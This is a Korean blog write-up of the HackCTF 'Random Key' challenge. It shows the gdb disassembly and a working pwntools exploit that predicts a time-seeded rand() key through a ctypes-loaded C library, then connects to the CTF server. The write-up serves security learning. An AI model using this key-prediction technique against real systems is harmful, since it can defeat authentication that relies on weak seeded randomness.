본문 바로가기

CTF_Write_UP/HackCTF

[HackCTF] Random Key

시작

안녕하세요 :D

이번 문제 많이 어려웠습니다 ㅠㅠ 코드가 어려운 건 아닌데 처음 써보는 파이썬 기능이 있어서..

key 값도 난수고, BOF도 안 터져서 한참 고민하다가 구글링 해버린 문제였습니다.

시작해보죠!!

Write UP

root@goorm:/workspace/LCH_Server/HackCTF/15.Random_Key# ./random
============================
======= 인증 프로그램 ======
============================
Input Key : 1234
Nah...

전형적인 키 맞추기 문제입니다.

키 값을 알아내거나 BOF로 변수를 덮어버리면 끝나는 문제에요.

gdb-peda$ pd main
Dump of assembler code for function main:
   0x00000000004007c6 <+0>:     push   rbp
   0x00000000004007c7 <+1>:     mov    rbp,rsp
   0x00000000004007ca <+4>:     sub    rsp,0x10
   0x00000000004007ce <+8>:     mov    rax,QWORD PTR fs:0x28
   0x00000000004007d7 <+17>:    mov    QWORD PTR [rbp-0x8],rax
   0x00000000004007db <+21>:    xor    eax,eax
   0x00000000004007dd <+23>:    mov    rax,QWORD PTR [rip+0x200894]        # 0x601078 <stdout@@GLIBC_2.2.5>
   0x00000000004007e4 <+30>:    mov    esi,0x0
   0x00000000004007e9 <+35>:    mov    rdi,rax
   0x00000000004007ec <+38>:    call   0x400630 <setbuf@plt>
   0x00000000004007f1 <+43>:    mov    DWORD PTR [rbp-0xc],0x0
   0x00000000004007f8 <+50>:    mov    DWORD PTR [rbp-0x10],0x0
   0x00000000004007ff <+57>:    mov    edi,0x0
   0x0000000000400804 <+62>:    mov    eax,0x0
   0x0000000000400809 <+67>:    call   0x400680 <time@plt>
   0x000000000040080e <+72>:    mov    edi,eax
   0x0000000000400810 <+74>:    call   0x400670 <srand@plt>
   0x0000000000400815 <+79>:    call   0x4006b0 <rand@plt>
   0x000000000040081a <+84>:    mov    DWORD PTR [rbp-0xc],eax
   0x000000000040081d <+87>:    mov    edi,0x400928
   0x0000000000400822 <+92>:    call   0x400620 <puts@plt>
   0x0000000000400827 <+97>:    mov    edi,0x400948
   0x000000000040082c <+102>:   call   0x400620 <puts@plt>
   0x0000000000400831 <+107>:   mov    edi,0x400928
   0x0000000000400836 <+112>:   call   0x400620 <puts@plt>
   0x000000000040083b <+117>:   mov    edi,0x40096b
   0x0000000000400840 <+122>:   mov    eax,0x0
   0x0000000000400845 <+127>:   call   0x400650 <printf@plt>
   0x000000000040084a <+132>:   lea    rax,[rbp-0x10]
   0x000000000040084e <+136>:   mov    rsi,rax
   0x0000000000400851 <+139>:   mov    edi,0x400978
   0x0000000000400856 <+144>:   mov    eax,0x0
   0x000000000040085b <+149>:   call   0x400690 <__isoc99_scanf@plt>
   0x0000000000400860 <+154>:   mov    eax,DWORD PTR [rbp-0x10]
   0x0000000000400863 <+157>:   cmp    DWORD PTR [rbp-0xc],eax
   0x0000000000400866 <+160>:   jne    0x400886 <main+192>
   0x0000000000400868 <+162>:   mov    edi,0x40097b
   0x000000000040086d <+167>:   call   0x400620 <puts@plt>
   0x0000000000400872 <+172>:   mov    edi,0x400984
   0x0000000000400877 <+177>:   call   0x400640 <system@plt>
   0x000000000040087c <+182>:   mov    edi,0x0
   0x0000000000400881 <+187>:   call   0x4006a0 <exit@plt>
   0x0000000000400886 <+192>:   mov    edi,0x40099a
   0x000000000040088b <+197>:   call   0x400620 <puts@plt>
   0x0000000000400890 <+202>:   mov    edi,0x0
   0x0000000000400895 <+207>:   call   0x4006a0 <exit@plt>
End of assembler dump.

일단 srand(time(NULL))로 랜덤값을 생성하는 것으로 보아 leak 하지 않는 이상 키를 알아내긴 힘들겠네요.

그렇다면 scanf()에서 덮어야 합니다.

우리가 입력한 값은 rbp-0x10에 들어가고 키는 rbp-0xc에 들어가니깐 덮일 줄 알았는데.. 안 덮여요 ㅎㅎ

이걸 어떻게 풀까요..

구글링 해보니깐 파이썬에 ctypes란 기능이 있더라구요.

파이썬에서 C언어로 작성된 코드를 읽어올 수 있게 해주는 라이브러리라고 합니다.

(참고 : https://frhyme.github.io/python-lib/read_c_code_in_python/)

갑자기 왜 C 코드를 읽어오냐!!

문제에서의 key는 시간을 기반으로 난수를 생성해내기 때문에

문제와 똑같은 코드를 작성한다면 생성되는 key값은 동일할 수 밖에 없습니다. 이걸 이용한 거에요.

우선 C로 문제와 동일하게 시간을 기반으로 생성되는 난수 코드, srand.c 를 작성했어요.

//srand.c

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main() {

        int key = 0;

        srand(time(NULL));
        key = rand();

        return key;
}

main()의 리턴값이 key가 되겠죠.

이 친구를 라이브러리화 시키기 위해 gcc로 컴파일하겠습니다.

gcc -fPIC srand.c -o lch.so -shared 명령어를 줘서 lch.so 라이브러리를 생성합니다.

이렇게 생성된 녀석을 ctypes를 활용해 pwntools 코드에 넣어주면 파이썬 내부에서 C 코드를 읽을 수 있어요.

from pwn import *
from ctypes import *

libc = CDLL("./lch.so")

p = remote("ctf.j0n9hyun.xyz", 3014)

key = libc.main()
log.info(hex(key))

p.recvuntil("Key : ")

p.sendline(str(key))
p.interactive()

CDLL("./lch.so")로 라이브러리를 불러오고, 거기에 있는 main() 함수의 리턴값을 key 변수에 넣어준거에요.

root@goorm:/workspace/LCH_Server/HackCTF/15.Random_Key# python ex.py
[+] Opening connection to ctf.j0n9hyun.xyz on port 3014: Done
[*] 0x27f1bf16
[*] Switching to interactive mode
Correct!
//flag!!!
[*] Got EOF while reading in interactive

Exploit!!

마무리

ctypes라는 좋은 기능을 하나 알아갑니다 ㅎㅎ

대부분의 문제들이 C언어로 나오기 때문에 이런 문제 유형이 나오면 유용하게 쓰일 것 같네요.

감사합니다 :D

'CTF_Write_UP > HackCTF' 카테고리의 다른 글

[HackCTF] Beginner_Heap  (0) 2019.09.23
[HackCTF] RTL_Core  (0) 2019.09.22
[HackCTF] 1996  (0) 2019.09.22
[HackCTF] Poet  (0) 2019.09.22
[HackCTF] RTL_World  (0) 2019.09.19